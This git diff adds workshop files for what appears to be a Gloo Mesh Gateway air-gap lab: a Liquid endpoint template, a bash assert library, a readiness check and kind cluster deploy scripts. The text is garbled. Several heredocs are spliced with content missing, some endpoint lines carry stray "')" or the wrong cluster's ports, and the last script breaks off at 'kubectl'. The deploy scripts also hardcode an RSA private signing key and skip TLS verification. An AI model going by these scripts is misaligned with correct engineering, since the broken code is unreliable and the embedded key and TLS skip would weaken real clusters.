b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/gateway-extauth-opa/opa-as-configmap.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/gateway-extauth-opa/opa-as-sidecar.png b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/gateway-extauth-opa/opa-as-sidecar.png new file mode 100644 index 0000000000..bee4787cc6 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/gateway-extauth-opa/opa-as-sidecar.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/gateway-extauth-opa/pap.png b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/gateway-extauth-opa/pap.png new file mode 100644 index 0000000000..1fb783c2fe Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/gateway-extauth-opa/pap.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/partials/calculate-endpoints.liquid b/gloo-mesh/gateway/2-5/airgap/advanced/partials/calculate-endpoints.liquid new file mode 100644 index 0000000000..e7bd4df90d --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/partials/calculate-endpoints.liquid @@ -0,0 +1,58 @@ +{%- assign fqdn_httpbin = vars.httpbin_fqdn | default: "httpbin.example.com" %} +{%- assign fqdn_bookinfo = vars.bookinfo_fqdn | default: "bookinfo.example.com" %} +{%- assign fqdn_portal = vars.portal_fqdn | default: "portal.example.com" %} +{%- assign fqdn_grpcbin = vars.grpcbin_fqdn | default: "grpcbin.example.com" %} +{%- assign fqdn_backstage = vars.backstage_fqdn | default: "backstage.example.com" %} +{%- assign fqdn_cluster1_httpbin = "cluster1-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster2_httpbin = "cluster2-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster1_bookinfo = "cluster1-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster2_bookinfo = "cluster2-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster1_portal = "cluster1-" | append: fqdn_portal %} +{%- assign fqdn_cluster2_portal = "cluster2-" | append: fqdn_portal %} +{%- assign fqdn_cluster1_grpcbin = "cluster1-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster2_grpcbin = "cluster2-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster1_backstage = "cluster1-" | append: fqdn_backstage %} +{%- assign fqdn_cluster2_backstage = "cluster2-" | append: fqdn_backstage %} +{%- if vars.node_port or vars.cluster1.node_port %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- if vars.node_port or vars.cluster2.node_port %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- endif %}{% comment %}cluster2 nodeport{% endcomment %} +{%- else %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- endif %} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/scripts/assert.sh b/gloo-mesh/gateway/2-5/airgap/advanced/scripts/assert.sh new file mode 100755 index 0000000000..75ba95ac90 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/scripts/assert.sh @@ -0,0 +1,252 @@ +#!/usr/bin/env bash + +##################################################################### +## +## title: Assert Extension +## +## description: +## Assert extension of shell (bash, ...) +## with the common assert functions +## Function list based on: +## http://junit.sourceforge.net/javadoc/org/junit/Assert.html +## Log methods : inspired by +## - https://natelandau.com/bash-scripting-utilities/ +## author: Mark Torok +## +## date: 07. Dec. 2016 +## +## license: MIT +## +##################################################################### + +if command -v tput &>/dev/null && tty -s; then + RED=$(tput setaf 1) + GREEN=$(tput setaf 2) + MAGENTA=$(tput setaf 5) + NORMAL=$(tput sgr0) + BOLD=$(tput bold) +else + RED=$(echo -en "\e[31m") + GREEN=$(echo -en "\e[32m") + MAGENTA=$(echo -en "\e[35m") + NORMAL=$(echo -en "\e[00m") + BOLD=$(echo -en "\e[01m") +fi + +log_header() { + printf "\n${BOLD}${MAGENTA}========== %s ==========${NORMAL}\n" "$@" >&2 +} + +log_success() { + printf "${GREEN}✔ %s${NORMAL}\n" "$@" >&2 +} + +log_failure() { + printf "${RED}✖ %s${NORMAL}\n" "$@" >&2 + file=.test-error.log + echo "$@" >> $file + echo "#############################################" >> $file + echo "#############################################" >> $file +} + + +assert_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected == $actual :: $msg" || true + return 1 + fi +} + +assert_not_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ ! "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected != $actual :: $msg" || true + return 1 + fi +} + +assert_true() { + local actual="$1" + local msg="${2-}" + + assert_eq true "$actual" "$msg" + return "$?" +} + +assert_false() { + local actual="$1" + local msg="${2-}" + + assert_eq false "$actual" "$msg" + return "$?" +} + +assert_array_eq() { + + declare -a expected=("${!1-}") + # echo "AAE ${expected[@]}" + + declare -a actual=("${!2}") + # echo "AAE ${actual[@]}" + + local msg="${3-}" + + local return_code=0 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=1 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=1 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) != (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_array_not_eq() { + + declare -a expected=("${!1-}") + declare -a actual=("${!2}") + + local msg="${3-}" + + local return_code=1 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=0 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=0 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) == (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_empty() { + local actual=$1 + local msg="${2-}" + + assert_eq "" "$actual" "$msg" + return "$?" +} + +assert_not_empty() { + local actual=$1 + local msg="${2-}" + + assert_not_eq "" "$actual" "$msg" + return "$?" +} + +assert_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ -z "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack doesn't contain $needle :: $msg" || true + return 1 + fi +} + +assert_not_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack contains $needle :: $msg" || true + return 1 + fi +} + +assert_gt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -gt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first > $second :: $msg" || true + return 1 + fi +} + +assert_ge() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -ge "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first >= $second :: $msg" || true + return 1 + fi +} + +assert_lt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -lt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first < $second :: $msg" || true + return 1 + fi +} + +assert_le() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -le "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first <= $second :: $msg" || true + return 1 + fi +} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/scripts/check.sh b/gloo-mesh/gateway/2-5/airgap/advanced/scripts/check.sh new file mode 100755 index 0000000000..fa52484b28 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/scripts/check.sh @@ -0,0 +1,16 @@ +#!/usr/bin/env bash + +printf "Waiting for all the kube-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n kube-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n kube-system pods are now ready \n" + +printf "Waiting for all the metallb-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n metallb-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n metallb-system pods are now ready \n" + diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/scripts/deploy-aws-with-calico.sh b/gloo-mesh/gateway/2-5/airgap/advanced/scripts/deploy-aws-with-calico.sh new file mode 100755 index 0000000000..1c7a2ec3cf --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/scripts/deploy-aws-with-calico.sh @@ -0,0 +1,240 @@ +#!/usr/bin/env bash +set -o errexit + +number=$1 +name=$2 +region=$3 +zone=$4 +twodigits=$(printf "%02d\n" $number) +kindest_node=${KINDEST_NODE:-kindest\/node:v1.28.0@sha256:b7a4cad12c197af3ba43202d3efe03246b3f0793f162afb40a33c923952d5b31} + +if [ -z "$3" ]; then + region=us-east-1 +fi + +if [ -z "$4" ]; then + zone=us-east-1a +fi + +if hostname -I 2>/dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl 